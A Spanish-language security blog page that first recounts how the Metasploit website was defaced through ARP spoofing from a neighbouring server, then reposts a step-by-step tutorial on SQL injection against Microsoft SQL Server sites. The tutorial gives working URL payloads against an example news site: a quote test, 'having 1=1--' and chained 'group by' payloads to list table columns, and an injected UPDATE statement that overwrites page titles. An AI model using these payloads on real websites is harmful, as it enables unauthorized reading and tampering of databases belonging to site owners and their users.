¿Cómo sucedió? Según HD Moore, el creador de Metasploit, el servidor en concreto nunca llegó a ser comprometido de forma directa. Es decir, que los paquetes no fueron alterados ni troyanizados como se llegó a sospechar inicialmente. Para llegar a efectuar el DoS, los atacantes lograron penetrar en otra máquina de la misma red (en el mismo ISP). De esta manera, fueron capaces de generar un ataque de ARP Spoofing contra todos los servidores de esa subred, incluido el de Metasploit, de manera que envenenaban su caché ARP a la hora de definir el gateway por defecto. Así, todas las peticiones, no sólo hacia Metasploit, sino hacia todos los servidores que estaban en la misma red, se redirigían a una página china con el contenido de "Hacked by Sunwear!" mediante un Man in The Middle que se encargaba de hacer el defacement.

Según explica HD Moore, el problema se solucionó añadiendo de forma estática una entrada con la correspondencia
IP/MAC reales del gateway por defecto y por supuesto notificando al ISP del problema.

Mis dudas ante este incidente son: ¿cómo logró HD Moore en su máquina de forma remota si su servidor resolvía mal la ruta de vuelta? Es decir, a todos los que hemos tenido que adminsitrar máquinas remotamente nos ha pasado alguna vez (me incluyo), a la hora de hacer alguna labor de cambio de dirección IP o de gateway, o de instalación de software cortafuegos, etc,... que hemos perdido la conectividad con la máquina en remoto. Las únicas soluciones para acceder a tu máquina es ir en modo consola y conseguir de nuevo la conectividad con tu red para poder seguir trabajando remotamente con la máquina, esto es pidiendo a la gente del ISP que te añada la entrada ARP válida. Otra opción posible es que HD Moore tuviera acceso a un switch
KVM y que desde ahí pudiera estar ya dentro de la red interna. De esta manera, el ARP spoofing no le afectaría y podría hacer las modificaciones oportunas en su servidor.



Saludos
Dr.White

Inyeccion SQL en Microsoft Sql Server By Jbyte

Definicion de Inyección SQL

Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.

La inyección SQL es un problema de seguridad informática que debe ser tomado en cuenta por el programador para prevenirlo. Un programa hecho con descuido, displicencia, o con ignorancia sobre el problema, podrá ser vulnerable y la seguridad del sistema puede quedar ciertamente comprometida. Esto puede suceder tanto en programas ejecutándose en computadores de escritorio, como en páginas Web, ya que éstas pueden funcionar mediante programas ejecutándose en el servidor que las aloja.

Prueva de Consepto Inyección SQL en Microsoft SQL Server

En este Caso haremos la prueva de consepto en website que usen Microsoft SQL Server

1-Tenemo la web por ejemplo

http://www.web.pe/noticias/noticia.asp?id=170

2-Para ver si verificar si esta web es vulnerable a Inyecion SQL en Microsoft SQL Server le agregamos a la direcion una comilla simple ( ' ).

http://www.web.pe/noticias/noticia.asp?id=170'

Al ejecutar la url nos dara lo siguiente

3-Como siguiente paso extraeremos la tabla y campo con los cuales extraeremos los demas campos de la Base de Datos. Para esto usaremos la cláusula.

La cláusula HAVING permite especificar condiciones a los agrupamientos realizados con GROUP BY. Del mismo modo que existe la cláusula WHERE para filas individuales en la sentencia SELECT, también se puede especificar una condición para grupos de registros. Al utilizar la cláusula HAVING no se incluyen aquellos grupos que no cumplan una determinada condición.

La usaremos de la siguiente manera:

http://www.web.pe/noticias/noticia.asp?id=170' having 1=1--

Lo cual al ejecutarlo nos dara como resultado:

Si observamos podemos ver que ya hemos optenido el nombre de la tabla y un campo

Tabla=noticias

Campo=ID

en el caso de que no nos de nada con la cláusula having 1=1--

podemos provar con:

having 1=1–

having+1=1--

having 1=1 ---

4-Si queremos optener los demas campo de la tabla noticias usaremos la cláusula GROUP BY en convinacion con la cláusula having.

La cláusula GROUP BY Agrupa un conjunto de filas seleccionado en un conjunto de filas de resumen de acuerdo con los valores de una o más columnas o expresiones.

La usaremos de la siguiente forma:

http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID having 1=1--

Como se puede ver estamos usando los primeros datos optuvidos para extraer asi los demas campos de la tabla noticias.

Lo cual nos mostrar lo siguiente:

Podemos ver que hemo extraido el campo Titulo.

Ahora para que entienda bien are una extracion de un campo mas muy parecida al la forma anterior.

http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID, noticias.Titulo having 1=1--

Como se observa estamos usando los dos campos extraidos anteriormente lo cual nos dara como resultado:

En este caso nos muestra el campo Resumen.

De la misma manera podemos extraer los demas campos de la tabla noticias en este caso una extracion exitoso de todos los campos puede ser asi


http://www.web.pe/noticias/noticia.asp?id=170' group by noticias.ID, noticias.Titulo, noticias.Resumen, noticias.Noticia, noticias.Usuario, noticias.Foto, noticias.Fuente, noticias.Pie_foto, noticias.Fecha_Registro, noticias.Usuario_modificacion, noticias.Fecha_modificacion, noticias.Fecha_noticia having 1=1--

La extracion de los campos debe ser hasta que el la web ya no nos muestre campos nuevos, hasta que la web se muestre de forma normal o con el un error pero ya sin mostrarnos algun campo.


Ahora si quisieramos modificar el contenido de algunos de los campos lo unico que tendrias que hacer seria usar la instrucción Update.

La instrucción UPDATE actualiza las columnas de la tabla que se han especificado en la cláusula SET, utilizando los valores que son calculados por las correspondientes expresiones escalares. Si se expresa también la cláusula WHERE, se actualizan sólo las líneas que satisfacen la expresión condicional. Véase que la expresión escalar usada para actualizar una columna puede ser también el resultado de una query escalar, es decir una query que devuelve una sola línea y una sola columna.

La usaremos de la siguiente forma:

http://www.web.pe/noticias/noticia.asp?id=170' update noticias set Titulo='Prueva';--


Como se puede observar el la instrucción update estamos poniendo la tabla que en este caso es noticias y el campo del cual vamos a modificar su contenido en este caso vamos a remplazar su contenido por la cadena de texto "Prueva".

Al ejecutar la sentencia lo siguiente:

Pagina sin Normal


Pagina despues de la ejecucion de http://www.web.pe/noticias/noticia.asp?id=170' update noticias set Titulo='Prueva';--



Como podemos ver el contenido del campo Titulo a sido modificado de la misma forma podemos aserlo con los demas parametros que hemos encontrado.


Bueno espero este pequeño tutorial les aya servidor y cualquier duda o sujerencia pueden ponerlo como comentario es este post o enviarmelo a jbyte@hotmail.es.

Tutorial escrito enteramente por Jbyte para el blog Jbyte Security

Lo pueden descargar en formato pdf desde AQUI


Fuente: http://jbyte-security.blogspot.com/2009/06/inyeccion-sql-en-microsoft-sql-server.html


Saludos
Dr.White